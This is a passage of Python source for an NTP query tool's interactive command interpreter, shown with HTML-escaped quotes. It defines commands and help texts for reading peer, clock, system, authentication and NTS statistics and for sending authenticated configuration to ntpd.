        elif line.upper() in [&#039;AES&#039;, &#039;AES128CMAC&#039;]:
            self.session.keytype = &#039;AES-128&#039;
        elif not ntp.ntpc.checkname(line.upper()):
            self.warn(&quot;Keytype %s is not supported by openSSL or ntpq.\n&quot; % line)
        else:
            self.session.keytype = line.upper()

    def help_keytype(self):
        self.say(&quot;&quot;&quot;\
function: set key type to use for authenticated requests, one of:
    DSA, MD4, MD5, MDC2, RIPEMD160, SHA-1, AES-CMAC
usage: keytype [digest-name]
&quot;&quot;&quot;)

    def do_associations(self, line):
        &quot;print list of association IDs and statuses for the server&#039;s peers&quot;
        if self.__dogetassoc():
            self.__printassoc(showall=True)

    def help_associations(self):
        self.say(&quot;&quot;&quot;\
function: print list of association IDs and statuses for the server&#039;s peers
usage: associations
&quot;&quot;&quot;)

    def do_passociations(self, line):
        &quot;print list of associations returned by last associations command&quot;
        self.__printassoc(showall=True)

    def help_passociations(self):
        self.say(&quot;&quot;&quot;\
function: print list of associations returned by last associations command
usage: passociations
&quot;&quot;&quot;)

    def do_lassociations(self, line):
        &quot;print list of associations including all client information&quot;
        if self.__dogetassoc():
            self.__printassoc(showall=True)

    def help_lassociations(self):
        self.say(&quot;&quot;&quot;\
function: print list of associations including all client information
usage: lassociations
&quot;&quot;&quot;)

    def do_lpassociations(self, line):
        &quot;&quot;&quot;\
print last obtained list of associations, including client information
&quot;&quot;&quot;
        self.__printassoc(showall=True)

    def help_lpassociations(self):
        self.say(&quot;&quot;&quot;\
function: print last obtained list of associations, including
          client information
usage: lpassociations
&quot;&quot;&quot;)

    def do_addvars(self, line):
        &quot;add variables to the variable list or change their values&quot;
        if not line:
            self.warn(&quot;usage: addvars name[=value][,...]\n&quot;)
            return
        vars_to_add = line.split(&#039;,&#039;)
        for add_var in vars_to_add:
            try:
                (name, val) = add_var.split(&quot;=&quot;)
            except ValueError:
                (name, val) = (add_var, &quot;&quot;)
            self.uservars[name.strip()] = val.strip()

    def help_addvars(self):
        self.say(&quot;&quot;&quot;\
function: add variables to the variable list or change their values
usage: addvars name[=value][,...]
&quot;&quot;&quot;)

    def do_rmvars(self, line):
        &quot;remove variables from the variable list&quot;
        if not line:
            self.warn(&quot;usage: rmvars name[,...]\n&quot;)
            return
        vars_to_rm = line.split(&#039;,&#039;)
        for rm_var in vars_to_rm:
            if rm_var not in self.uservars:
                self.warn(&quot;%s is not in the variable list&quot; % rm_var)
            else:
                del self.uservars[rm_var]

    def help_rmvars(self):
        self.say(&quot;&quot;&quot;\
function: remove variables from the variable list
usage: rmvars name[,...]
&quot;&quot;&quot;)

    def do_clearvars(self, line):
        &quot;remove all variables from the variable list&quot;
        self.uservars.clear()

    def help_clearvars(self):
        self.say(&quot;&quot;&quot;\
function: remove all variables from the variable list
usage: clearvars
&quot;&quot;&quot;)

    def do_showvars(self, line):
        &quot;print variables on the variable list&quot;
        if not self.uservars:
            self.say(&quot;No variables on list.\n&quot;)
        for (name, value) in self.uservars.items():
            if value:
                self.say(&quot;%s=%s\n&quot; % (name, value))
            else:
                self.say(name + &quot;\n&quot;)

    def help_showvars(self):
        self.say(&quot;&quot;&quot;\
function: print variables on the variable list
usage: showvars
&quot;&quot;&quot;)

    def do_readlist(self, line):
        &quot;read the system or peer variables included in the variable list&quot;
        associd = self.__assoc_valid(line)
        if associd &gt;= 0:
            qtype = ntp.ntpc.TYPE_SYS if associd == 0 else ntp.ntpc.TYPE_PEER
            self.__dolist(self.uservars.keys(), associd,
                          ntp.control.CTL_OP_READVAR, qtype)

    def help_readlist(self):
        self.say(&quot;&quot;&quot;\
function: read the system or peer variables included in the variable list
usage: readlist [assocID]
&quot;&quot;&quot;)

    def do_rl(self, line):
        &quot;read the system or peer variables included in the variable list&quot;
        self.do_readlist(line)

    def help_rl(self):
        self.say(&quot;&quot;&quot;\
function: read the system or peer variables included in the variable list
usage: rl [assocID]
&quot;&quot;&quot;)

    def do_writelist(self, line):
        &quot;write the system or peer variables included in the variable list&quot;
        pass

    def help_writelist(self):
        self.say(&quot;&quot;&quot;\
function: write the system or peer variables included in the variable list
usage: writelist [ assocID ]
&quot;&quot;&quot;)

    def do_readvar(self, line):
        &quot;read system or peer variables&quot;
        associd = self.__assoc_valid(line)
        if associd &gt;= 0:
            qtype = ntp.ntpc.TYPE_SYS if associd == 0 else ntp.ntpc.TYPE_PEER
            silence = bool(len(line.split()) &gt;= 2)
            # Some scripts written for C ntpq need associd printed here
            self.__dolist(line.split()[1:], associd,
                          ntp.control.CTL_OP_READVAR, qtype, quiet=silence)

    def help_readvar(self):
        self.say(&quot;&quot;&quot;\
function: read system or peer variables
usage: readvar [assocID] [varname1] [varname2] [varname3]
&quot;&quot;&quot;)

    def do_rv(self, line):
        &quot;read system or peer variables&quot;
        self.do_readvar(line)

    def help_rv(self):
        self.say(&quot;&quot;&quot;\
function: read system or peer variables
usage: rv [assocID] [varname1] [varname2] [varname3]
&quot;&quot;&quot;)

    def do_writevar(self, line):
        &quot;write system or peer variables&quot;
        pass

    def help_writevar(self):
        self.say(&quot;&quot;&quot;\
function: write system or peer variables
usage: writevar assocID name=value,[...]
&quot;&quot;&quot;)

    def do_mreadlist(self, line):
        &quot;read the peer variables in the variable list for multiple peers&quot;
        if not line:
            self.warn(&quot;usage: mreadlist assocIDlow assocIDhigh\n&quot;)
            return
        idrange = self.__assoc_range_valid(line)
        if not idrange:
            return
        for associd in idrange:
            if associd != idrange[0]:
                self.say(&quot;\n&quot;)
            if not self.__dolist(self.uservars,
                                 associd, ntp.control.CTL_OP_READVAR,
                                 ntp.ntpc.TYPE_PEER):
                return

    def help_mreadlist(self):
        self.say(&quot;&quot;&quot;\
function: read the peer variables in the variable list for multiple peers
usage: mreadlist assocIDlow assocIDhigh
&quot;&quot;&quot;)

    def do_mrl(self, line):
        &quot;read the peer variables in the variable list for multiple peers&quot;
        if not line:
            self.warn(&quot;usage: mrl assocIDlow assocIDhigh&quot;)
            return
        self.do_mreadlist(line)

    def help_mrl(self):
        self.say(&quot;&quot;&quot;\
function: read the peer variables in the variable list for multiple peers
usage: mrl assocIDlow assocIDhigh
&quot;&quot;&quot;)

    def do_mreadvar(self, line):
        &quot;read peer variables from multiple peers&quot;
        if not line:
            self.warn(&quot;usage: mreadvar assocIDlow assocIDhigh  &quot;
                      &quot;[ name=value[,...] ]&quot;)
            return
        idrange = self.__assoc_range_valid(line)
        if not idrange:
            return
        varlist = line.split()[2:]
        for associd in idrange:
            if associd != idrange[0]:
                self.say(&quot;\n&quot;)
            if not self.__dolist(varlist, associd,
                                 ntp.control.CTL_OP_READVAR,
                                 ntp.ntpc.TYPE_PEER):
                return

    def help_mreadvar(self):
        self.say(&quot;&quot;&quot;\
function: read peer variables from multiple peers
usage: mreadvar assocIDlow assocIDhigh [name=value[,...]]
&quot;&quot;&quot;)

    def do_mrv(self, line):
        &quot;read peer variables from multiple peers&quot;
        if not line:
            self.warn(
                &quot;usage: mrv assocIDlow assocIDhigh [name=value[,...]]&quot;)
            return
        self.do_mreadvar(line)

    def help_mrv(self):
        self.say(&quot;&quot;&quot;\
function: read peer variables from multiple peers
usage: mrv assocIDlow assocIDhigh [name=value[,...]]
&quot;&quot;&quot;)

    def do_clocklist(self, line):
        &quot;read the clock variables included in the variable list&quot;
        assoc = self.__assoc_valid(line)
        if assoc &gt;= 0:
            self.__dolist(self.uservars.keys(),
                          assoc, ntp.control.CTL_OP_READCLOCK,
                          ntp.ntpc.TYPE_CLOCK)

    def help_clocklist(self):
        self.say(&quot;&quot;&quot;\
function: read the clock variables included in the variable list
usage: clocklist [assocID]
&quot;&quot;&quot;)

    def do_cl(self, line):
        &quot;read the clock variables included in the variable list&quot;
        self.do_clocklist(line)

    def help_cl(self):
        self.say(&quot;&quot;&quot;\
function: read the clock variables included in the variable list
usage: cl [assocID]
&quot;&quot;&quot;)

    def do_clockvar(self, line):
        &quot;read clock variables&quot;
        assoc = self.__assoc_valid(line)
        if assoc == 0:
            self.warn(&quot;This command requires the association ID of a clock.&quot;)
        elif assoc &gt; 0:
            self.__dolist(line.split()[1:], assoc,
                          ntp.control.CTL_OP_READCLOCK, ntp.ntpc.TYPE_CLOCK)

    def help_clockvar(self):
        self.say(&quot;&quot;&quot;\
function: read clock variables
usage: clockvar [assocID] [name=value[,...]]
&quot;&quot;&quot;)

    def do_cv(self, line):
        &quot;read clock variables&quot;
        self.do_clockvar(line)

    def help_cv(self):
        self.say(&quot;&quot;&quot;\
function: read clock variables
usage: cv [ assocID ] [ name=value[,...] ]
&quot;&quot;&quot;)

    def do_pstats(self, line):
        &quot;show statistics for a peer&quot;
        pstats = (
            (&quot;srcadr&quot;, &quot;remote host:          &quot;, NTP_ADD),
            (&quot;dstadr&quot;, &quot;local address:        &quot;, NTP_ADD),
            (&quot;timerec&quot;, &quot;time last received:   &quot;, NTP_UPTIME),
            (&quot;timer&quot;, &quot;time until next send: &quot;, NTP_UPTIME),
            (&quot;timereach&quot;, &quot;reachability change:  &quot;, NTP_INT),
            (&quot;sent&quot;, &quot;packets sent:         &quot;, NTP_INT),
            (&quot;received&quot;, &quot;packets received:     &quot;, NTP_INT),
            (&quot;badauth&quot;, &quot;bad authentication:   &quot;, NTP_INT),
            (&quot;bogusorg&quot;, &quot;bogus origin:         &quot;, NTP_INT),
            (&quot;oldpkt&quot;, &quot;duplicate:            &quot;, NTP_INT),
            (&quot;seldisp&quot;, &quot;bad dispersion:       &quot;, NTP_INT),
            (&quot;selbroken&quot;, &quot;bad reference time:   &quot;, NTP_INT),
            (&quot;candidate&quot;, &quot;candidate order:      &quot;, NTP_INT),
            (&quot;ntscookies&quot;, &quot;count of nts cookies: &quot;, NTP_INT),
        )
        if not line:
            self.warn(&quot;usage: pstats assocID&quot;)
            return
        associd = self.__assoc_valid(line)
        if associd &gt;= 0:
            self.collect_display(associd=associd,
                                 variables=pstats, decodestatus=True)

    def help_pstats(self):
        self.say(&quot;&quot;&quot;\
function: show statistics for a peer
usage: pstats assocID
&quot;&quot;&quot;)

    def do_peers(self, line):
        &quot;obtain and print a list of the server&#039;s peers [IP version]&quot;
        self.__dopeers(showall=True, mode=&quot;peers&quot;)

    def help_peers(self):
        self.say(&quot;&quot;&quot;\
function: obtain and print a list of the server&#039;s peers [IP version]
usage: peers
&quot;&quot;&quot;)

    def do_rpeers(self, line):
        &quot;obtain and print a list of the server&#039;s peers (dextral)&quot;
        self.__dopeers(showall=True, mode=&quot;rpeers&quot;)

    def help_rpeers(self):
        self.say(&quot;&quot;&quot;\
function: obtain and print a list of the server&#039;s peers (dextral)
usage: rpeers
&quot;&quot;&quot;)

    def do_apeers(self, line):
        &quot;&quot;&quot;
obtain and print a list of the server&#039;s peers and their assocIDs [IP version]
&quot;&quot;&quot;
        self.__dopeers(showall=True, mode=&quot;apeers&quot;)

    def help_apeers(self):
        self.say(&quot;&quot;&quot;\
function: obtain and print a list of the server&#039;s peers and their
          assocIDs [IP version]
usage: apeers
&quot;&quot;&quot;)

    def do_lpeers(self, line):
        &quot;obtain and print a list of all peers and clients [IP version]&quot;
        self.__dopeers(showall=True, mode=&quot;peers&quot;)

    def help_lpeers(self):
        self.say(&quot;&quot;&quot;\
function: obtain and print a list of all peers and clients [IP version]
usage: lpeers
&quot;&quot;&quot;)

    def do_opeers(self, line):
        &quot;&quot;&quot;
print peer list the old way, with dstadr shown rather than refid [IP version]
&quot;&quot;&quot;
        self.__dopeers(showall=True, mode=&quot;opeers&quot;)

    def help_opeers(self):
        self.say(&quot;&quot;&quot;\
function: print peer list the old way, with dstadr shown rather than
          refid [IP version]
usage: opeers
&quot;&quot;&quot;)

    def do_lopeers(self, line):
        &quot;&quot;&quot;obtain and print a list of all peers and clients showing
        dstadr [IP version]&quot;&quot;&quot;
        self.__dopeers(showall=True, mode=&quot;opeers&quot;)

    def help_lopeers(self):
        self.say(&quot;&quot;&quot;\
function: obtain and print a list of all peers and clients showing
          dstadr [IP version]
usage: lopeers
&quot;&quot;&quot;)

    def do_hot_config(self, line):
        &quot;send a remote configuration command to ntpd&quot;
        try:
            self.session.password()
        except ntp.packet.ControlException as e:
            self.warn(e.message)
            return
        except IOError:
            self.warn(&quot;***Can&#039;t read control key from /etc/ntp.conf&quot;)
            return
        if self.debug &gt; 2:
            self.warn(&quot;In Config\nKeyword = :config\nCommand = %s&quot; % line)
        try:
            self.session.config(line)
            self.session.response = ntp.poly.polystr(self.session.response)
            m = re.match(&quot;column ([0-9]+) syntax error&quot;, self.session.response)
            if m:
                col = int(m.group(1))
                if col &gt;= 0 and col &lt;= len(line):
                    if self.interactive:
                        self.say(&quot;_&quot; * (len(self.prompt) + 2 + col))
                    else:
                        self.say(line + &quot;\n&quot;)
                    self.say(&quot;_&quot; * (col - 1))
                self.say(&quot;^\n&quot;)
            self.say(self.session.response + &quot;\n&quot;)
        except ntp.packet.ControlException as e:
            self.warn(e.message)

    def help_hot_config(self):
        self.say(&quot;&quot;&quot;\
function: send a remote configuration command to ntpd
usage: config &lt;configuration command line&gt;
&quot;&quot;&quot;)

    def do_config_from_file(self, line):
        &quot;configure ntpd using the configuration filename&quot;
        try:
            with open(line) as rfp:
                self.say(&quot;%s\n&quot; % self.session.config(rfp.read()))
        except IOError:
            self.warn(&quot;Could not read %s&quot; % line)

    def help_config_from_file(self):
        self.say(&quot;&quot;&quot;\
function: configure ntpd using the configuration filename
usage: config_from_file &lt;configuration filename&gt;
&quot;&quot;&quot;)

    def printdirect(self, entries):
        for entry in entries:
            self.say(self.formatter.summary(entry) + &quot;\n&quot;)

    def do_noflake(self):
        &quot;&quot;&quot;Disables the dropping of control packets by ntpq for testing.&quot;&quot;&quot;
        self.session.flakey = False

    def help_noflake(self):
        &quot;&quot;&quot;Print help for noflake.&quot;&quot;&quot;
        self.say(&quot;&quot;&quot;\
function: Disables the dropping of received packets by ntpq for testing.
usage: noflake
&quot;&quot;&quot;)

    def do_doflake(self, line):
        &quot;&quot;&quot;Drop some received packets for testing.

        Probabilities 0 and 1 should be certainly accepted
        and discarded respectively. No default, but 0.1
        should be a one in ten loss rate.
        &quot;&quot;&quot;
        try:
            _ = float(line)
            if not 0 &lt; _ &lt; 1:
                raise ValueError
            self.session.flakey = _
        except ValueError:
            self.say(&#039;Flakiness must be a (positive) float less than 1.&#039;)

    def help_doflake(self):
        &quot;&quot;&quot;Print help for doflake.&quot;&quot;&quot;
        self.say(&quot;&quot;&quot;\
function: Enables the dropping of control packets by
ntpq for testing. Probabilities 0 and 1 should be
certainly accepted and discarded respectively. No
default, but 0.1 should be a one in ten loss rate.
usage: doflake &lt;probability&gt;
&quot;&quot;&quot;)

    def do_mrulist(self, line):
        &quot;&quot;&quot;display the list of most recently seen source addresses,
           tags mincount=... resall=0x... resany=0x...&quot;&quot;&quot;
        cmdvars = {}
        for item in line.split(&quot; &quot;):
            if not item:
                continue
            if &#039;=&#039; not in item:
                cmdvars[item] = True
            else:
                eq = item.index(&quot;=&quot;)
                var = item[:eq].strip()
                val = item[eq+1:].strip()
                try:
                    val = int(val, 0)
                except ValueError:
                    try:
                        val = float(val)
                    except ValueError:
                        if val[0] == &#039;&quot;&#039; and val[-1] == &#039;&quot;&#039;:
                            val = val[1:-1]
                cmdvars[var] = val

        if not self.directmode:
            self.say(&quot;Ctrl-C will stop MRU retrieval and display &quot;
                     &quot;partial results.\n&quot;)
        if self.rawmode:
            mruhook = lambda v: self.printvars(variables=v,
                                               dtype=ntp.ntpc.TYPE_SYS,
                                               quiet=True)
        else:
            mruhook = None
        try:
            formatter = ntp.util.MRUSummary(interpreter.showhostnames,
                                            wideremote=True)
            if self.directmode:
                formatter.now = None
            self.formatter = formatter
            if session.debug:
                formatter.logfp = session.logfp
                formatter.debug = session.debug
            self.session.slots = 0
            self.session.start = time.time()
            direct = self.printdirect if self.directmode else None
            span = self.session.mrulist(variables=cmdvars,
                                        rawhook=mruhook, direct=direct)
            if not self.directmode and not self.rawmode:
                if not span.is_complete():
                    self.say(&quot;mrulist retrieval interrupted by operator.\n&quot;
                             &quot;Displaying partial client list.\n&quot;)
                    span.now = time.time()
                try:
                    delta1 = time.time() - self.session.start
                    self.say(ntp.util.MRUSummary.header + &quot;\n&quot;)
                    self.say((&quot;=&quot; * len(ntp.util.MRUSummary.header)) + &quot;\n&quot;)
                    # reversed puts most recent entries at the top if no sort=
                    # see sort comments in pylib/packet.py
                    formatter.now = span.now
                    for entry in reversed(span.entries):
                        self.say(formatter.summary(entry) + &quot;\n&quot;)
                    self.say(&quot;# Collected %d slots in %.3f seconds\n&quot;
                             % (self.session.slots, delta1))
                except KeyboardInterrupt:
                    pass
            delta2 = time.time() - self.session.start
            self.say(&quot;# Processed %d slots in %.3f seconds\n&quot;
                     % (self.session.slots, delta2))
            usage = resource.getrusage(resource.RUSAGE_SELF)
            rusage_denom = 1024.
            if sys.platform == &#039;darwin&#039;:
                # OSX uses bytes, while every other platform uses kilobytes
                rusage_denom = rusage_denom * rusage_denom
            self.say(&quot;# Used %d megabytes of memory\n&quot;
                     % (usage.ru_maxrss/rusage_denom))
        except ntp.packet.ControlException as e:
            # Giving up after 8 restarts from the beginning.
            # With high-traffic NTP servers, this can occur if the
            # MRU list is limited to less than about 16 seconds&#039; of
            # entries.  See the &#039;mru&#039; ntp.conf entry.
            self.warn(e.message)

    def help_mrulist(self):
        self.say(&quot;&quot;&quot;\
function: display the list of most recently seen source addresses,
          tags mincount=... resall=0x... resany=0x...
usage: mrulist [tag=value] [tag=value] [tag=value] [tag=value]
&quot;&quot;&quot;)

    def do_ifstats(self, line):
        &quot;show statistics for each local address ntpd is using&quot;
        try:
            self.session.password()
            entries = self.session.ifstats()
            if self.rawmode:
                self.say(self.session.response + &quot;\n&quot;)
            else:
                formatter = ntp.util.IfstatsSummary()
                self.say(ntp.util.IfstatsSummary.header)
                self.say((&quot;=&quot; * ntp.util.IfstatsSummary.width) + &quot;\n&quot;)
                for (i, entry) in enumerate(entries):
                    self.say(formatter.summary(i, entry))
        except ntp.packet.ControlException as e:
            self.warn(e.message)
            return
        except IOError:
            self.warn(&quot;***Can&#039;t read control key from /etc/ntp.conf&quot;)

    def help_ifstats(self):
        self.say(&quot;&quot;&quot;\
function: show statistics for each local address ntpd is using
usage: ifstats
&quot;&quot;&quot;)

    def do_reslist(self, line):
        &quot;show ntpd access control list&quot;
        try:
            self.session.password()
            entries = self.session.reslist()
            if self.rawmode:
                self.say(self.session.response + &quot;\n&quot;)
            else:
                formatter = ntp.util.ReslistSummary()
                self.say(ntp.util.ReslistSummary.header)
                self.say((&quot;=&quot; * ntp.util.ReslistSummary.width) + &quot;\n&quot;)
                for entry in entries:
                    self.say(formatter.summary(entry))
        except ntp.packet.ControlException as e:
            self.warn(e.message)
            return
        except IOError:
            self.warn(&quot;***Can&#039;t read control key from /etc/ntp.conf&quot;)

    def help_reslist(self):
        self.say(&quot;&quot;&quot;\
function: show ntpd access control list
usage: reslist
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_sysinfo(self, _line):
        &quot;display system summary&quot;
        sysinfo = (
            (&quot;peeradr&quot;, &quot;system peer:      &quot;, NTP_ADP),
            (&quot;peermode&quot;, &quot;system peer mode: &quot;, NTP_MODE),
            (&quot;leap&quot;, &quot;leap indicator:   &quot;, NTP_2BIT),
            (&quot;stratum&quot;, &quot;stratum:          &quot;, NTP_INT),
            (&quot;precision&quot;, &quot;log2 precision:   &quot;, NTP_INT),
            (&quot;rootdelay&quot;, &quot;root delay:       &quot;, NTP_FLOAT),
            (&quot;rootdisp&quot;, &quot;root dispersion:  &quot;, NTP_FLOAT),
            (&quot;rootdist&quot;, &quot;root distance     &quot;, NTP_FLOAT),
            (&quot;refid&quot;, &quot;reference ID:     &quot;, NTP_STR),
            (&quot;reftime&quot;, &quot;reference time:   &quot;, NTP_LFP),
            (&quot;sys_jitter&quot;, &quot;system jitter:    &quot;, NTP_FLOAT),
            (&quot;clk_jitter&quot;, &quot;clock jitter:     &quot;, NTP_FLOAT),
            (&quot;clk_wander&quot;, &quot;clock wander:     &quot;, NTP_FLOAT),
            (&quot;authdelay&quot;, &quot;symm. auth. delay:&quot;, NTP_FLOAT),
        )
        self.collect_display(associd=0, variables=sysinfo, decodestatus=True)

    def help_sysinfo(self):
        self.say(&quot;&quot;&quot;\
function: display system summary
usage: sysinfo
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_kerninfo(self, _line):
        &quot;display kernel loop and PPS statistics&quot;
        kerninfo = (
            (&quot;koffset&quot;, &quot;pll offset:          &quot;, NTP_FLOAT),
            (&quot;kfreq&quot;, &quot;pll frequency:       &quot;, NTP_FLOAT),
            (&quot;kmaxerr&quot;, &quot;maximum error:       &quot;, NTP_FLOAT),
            (&quot;kesterr&quot;, &quot;estimated error:     &quot;, NTP_FLOAT),
            (&quot;kstflags&quot;, &quot;kernel status:       &quot;, NTP_STR),
            (&quot;ktimeconst&quot;, &quot;pll time constant:   &quot;, NTP_INT),
            (&quot;kprecis&quot;, &quot;precision:           &quot;, NTP_FLOAT),
            (&quot;kfreqtol&quot;, &quot;frequency tolerance: &quot;, NTP_INT),
            (&quot;kppsfreq&quot;, &quot;pps frequency:       &quot;, NTP_INT),
            (&quot;kppsstab&quot;, &quot;pps stability:       &quot;, NTP_INT),
            (&quot;kppsjitter&quot;, &quot;pps jitter:          &quot;, NTP_INT),
            (&quot;kppscalibdur&quot;, &quot;calibration interval &quot;, NTP_INT),
            (&quot;kppscalibs&quot;, &quot;calibration cycles:  &quot;, NTP_INT),
            (&quot;kppsjitexc&quot;, &quot;jitter exceeded:     &quot;, NTP_INT),
            (&quot;kppsstbexc&quot;, &quot;stability exceeded:  &quot;, NTP_INT),
            (&quot;kppscaliberrs&quot;, &quot;calibration errors:  &quot;, NTP_INT),
        )
        self.collect_display(associd=0, variables=kerninfo, decodestatus=True)

    def help_kerninfo(self):
        self.say(&quot;&quot;&quot;\
function: display kernel loop and PPS statistics
usage: kerninfo
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_sysstats(self, _line):
        &quot;display system uptime and packet counts&quot;
        sysstats = (
            (&quot;ss_uptime&quot;,    &quot;uptime:               &quot;, NTP_UPTIME),
            (&quot;ss_numctlreq&quot;, &quot;control requests:     &quot;, NTP_INT),
        )
        sysstats2 = (
            (&quot;ss_reset&quot;,     &quot;sysstats reset:       &quot;, NTP_UPTIME),
            (&quot;ss_received&quot;,  &quot;packets received:     &quot;, NTP_PACKETS),
            (&quot;ss_thisver&quot;,   &quot;current version:      &quot;, NTP_PACKETS),
            (&quot;ss_oldver&quot;,    &quot;older version:        &quot;, NTP_PACKETS),
            (&quot;ss_ver1&quot;,      &quot;NTPv1 total:          &quot;, NTP_PACKETS),
            (&quot;ss_ver1client&quot;,&quot;NTPv1 clients:        &quot;, NTP_PACKETS),
            (&quot;ss_ver1zero&quot;,  &quot;NTPv1 mode0:          &quot;, NTP_PACKETS),
            (&quot;ss_ver1symm&quot;,  &quot;NTPv1 symm act:       &quot;, NTP_PACKETS),
            (&quot;ss_badformat&quot;, &quot;bad length or format: &quot;, NTP_PACKETS),
            (&quot;ss_badauth&quot;,   &quot;authentication failed:&quot;, NTP_PACKETS),
            (&quot;ss_declined&quot;,  &quot;declined:             &quot;, NTP_PACKETS),
            (&quot;ss_restricted&quot;,&quot;restricted:           &quot;, NTP_PACKETS),
            (&quot;ss_limited&quot;,   &quot;rate limited:         &quot;, NTP_PACKETS),
            (&quot;ss_kodsent&quot;,   &quot;KoD responses:        &quot;, NTP_PACKETS),
            (&quot;ss_processed&quot;, &quot;processed for time:   &quot;, NTP_PACKETS),
        )
        self.collect_display(associd=0, variables=sysstats, decodestatus=False)
        self.collect_display2(variables=sysstats2)

    def help_sysstats(self):
        self.say(&quot;&quot;&quot;\
function: display system uptime and packet counts
usage: sysstats
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_monstats(self, _line):
        &quot;display monitor (mrulist) counters and limits&quot;
        monstats = (
            (&quot;mru_enabled&quot;,     &quot;enabled:              &quot;, NTP_INT),
            (&quot;mru_hashslots&quot;,   &quot;hash slots in use:    &quot;, NTP_INT),
            (&quot;mru_depth&quot;,       &quot;addresses in use:     &quot;, NTP_INT),
            (&quot;mru_deepest&quot;,     &quot;peak addresses:       &quot;, NTP_INT),
            (&quot;mru_maxdepth&quot;,    &quot;maximum addresses:    &quot;, NTP_INT),
            (&quot;mru_mindepth&quot;,    &quot;reclaim above count:  &quot;, NTP_INT),
            (&quot;mru_maxage&quot;,      &quot;reclaim maxage:       &quot;, NTP_UPTIME),
            (&quot;mru_minage&quot;,      &quot;reclaim minage:       &quot;, NTP_UPTIME),
            (&quot;mru_mem&quot;,         &quot;kilobytes:            &quot;, NTP_INT),
            (&quot;mru_maxmem&quot;,      &quot;maximum kilobytes:    &quot;, NTP_INT),
            (&quot;mru_exists&quot;,      &quot;alloc: exists:        &quot;, NTP_INT),
            (&quot;mru_new&quot;,         &quot;alloc: new:           &quot;, NTP_INT),
            (&quot;mru_recycleold&quot;,  &quot;alloc: recycle old:   &quot;, NTP_INT),
            (&quot;mru_recyclefull&quot;, &quot;alloc: recycle full:  &quot;, NTP_INT),
            (&quot;mru_none&quot;,        &quot;alloc: none:          &quot;, NTP_INT),
            (&quot;mru_oldest_age&quot;,  &quot;age of oldest slot:   &quot;, NTP_UPTIME),
        )
        self.collect_display(associd=0, variables=monstats, decodestatus=False)

    def help_monstats(self):
        self.say(&quot;&quot;&quot;\
function: display monitor (mrulist) counters and limits
usage: monstats
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_authinfo(self, _line):
        &quot;display symmetric authentication counters&quot;
        authinfo = (
            (&quot;authreset&quot;,          &quot;time since reset:    &quot;, NTP_UPTIME),
            (&quot;authkeys&quot;,           &quot;stored keys:         &quot;, NTP_INT),
            (&quot;authfreek&quot;,          &quot;free keys:           &quot;, NTP_INT),
            (&quot;authklookups&quot;,       &quot;key lookups:         &quot;, NTP_INT),
            (&quot;authknotfound&quot;,      &quot;keys not found:      &quot;, NTP_INT),
            (&quot;authencrypts&quot;,       &quot;encryptions:         &quot;, NTP_PACKETS),
            (&quot;authdigestencrypts&quot;, &quot;digest encryptions:  &quot;, NTP_PACKETS),
            (&quot;authcmacencrypts&quot;,   &quot;CMAC encryptions:    &quot;, NTP_PACKETS),
            (&quot;authdecrypts&quot;,       &quot;decryptions:         &quot;, NTP_PACKETS),
            (&quot;authdigestdecrypts&quot;, &quot;digest decryptions:  &quot;, NTP_PACKETS),
            (&quot;authdigestfails&quot;,    &quot;digest failures:     &quot;, NTP_PACKETS),
            (&quot;authcmacdecrypts&quot;,   &quot;CMAC decryptions:    &quot;, NTP_PACKETS),
            (&quot;authcmacfails&quot;,      &quot;CMAC failures:       &quot;, NTP_PACKETS),
            # Old variables no longer supported.
            # Interesting if looking at an old system.
            (&quot;authkuncached&quot;,      &quot;uncached keys:       &quot;, NTP_INT),
            (&quot;authkexpired&quot;,       &quot;expired keys:        &quot;, NTP_INT),
        )
        self.collect_display(associd=0, variables=authinfo, decodestatus=False)

    def help_authinfo(self):
        self.say(&quot;&quot;&quot;\
function: display symmetric authentication counters
usage: authinfo
&quot;&quot;&quot;)

# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_ntsinfo(self, _line):
        &quot;display NTS authentication counters&quot;
        ntsinfo = (
   (&quot;nts_client_send&quot;,           &quot;NTS client sends:          &quot;, NTP_UINT),
   (&quot;nts_client_recv_good&quot;,      &quot;NTS client recvs good:     &quot;, NTP_UINT),
   (&quot;nts_client_recv_bad&quot;,       &quot;NTS client recvs w error:  &quot;, NTP_UINT),
   (&quot;nts_server_recv_good&quot;,      &quot;NTS server recvs good:     &quot;, NTP_UINT),
   (&quot;nts_server_recv_bad&quot;,       &quot;NTS server recvs w error:  &quot;, NTP_UINT),
   (&quot;nts_server_send&quot;,           &quot;NTS server sends:          &quot;, NTP_UINT),
   (&quot;nts_cookie_make&quot;,           &quot;NTS make cookies:          &quot;, NTP_UINT),
   (&quot;nts_cookie_decode&quot;,         &quot;NTS decode cookies:        &quot;, NTP_UINT),
   (&quot;nts_cookie_decode_old&quot;,     &quot;NTS decode cookies old:    &quot;, NTP_UINT),
   (&quot;nts_cookie_decode_old2&quot;,    &quot;NTS decode cookies old2:   &quot;, NTP_UINT),
   (&quot;nts_cookie_decode_older&quot;,   &quot;NTS decode cookies older:  &quot;, NTP_UINT),
   (&quot;nts_cookie_decode_too_old&quot;, &quot;NTS decode cookies too old:&quot;, NTP_UINT),
   (&quot;nts_cookie_decode_error&quot;,   &quot;NTS decode cookies error:  &quot;, NTP_UINT),
   (&quot;nts_ke_probes_good&quot;,        &quot;NTS KE client probes good: &quot;, NTP_UINT),
   (&quot;nts_ke_probes_bad&quot;,         &quot;NTS KE client probes bad:  &quot;, NTP_UINT),
   (&quot;nts_ke_serves_good&quot;,        &quot;NTS KE serves good:        &quot;, NTP_UINT),
   (&quot;nts_ke_serves_bad&quot;,         &quot;NTS KE serves bad:         &quot;, NTP_UINT),
  )
        self.collect_display(associd=0, variables=ntsinfo, decodestatus=False)

    def help_ntsinfo(self):
        self.say(&quot;&quot;&quot;\
function: display NTS authentication counters
usage: ntsinfo
&quot;&quot;&quot;)


# FIXME: This table should move to ntpd
#          so the answers track when ntpd is updated
    def do_iostats(self, _line):
        &quot;display network input and output counters&quot;
        iostats = (
            (&quot;iostats_reset&quot;, &quot;time since reset:     &quot;, NTP_UPTIME),
            (&quot;total_rbuf&quot;, &quot;receive buffers:      &quot;, NTP_INT),
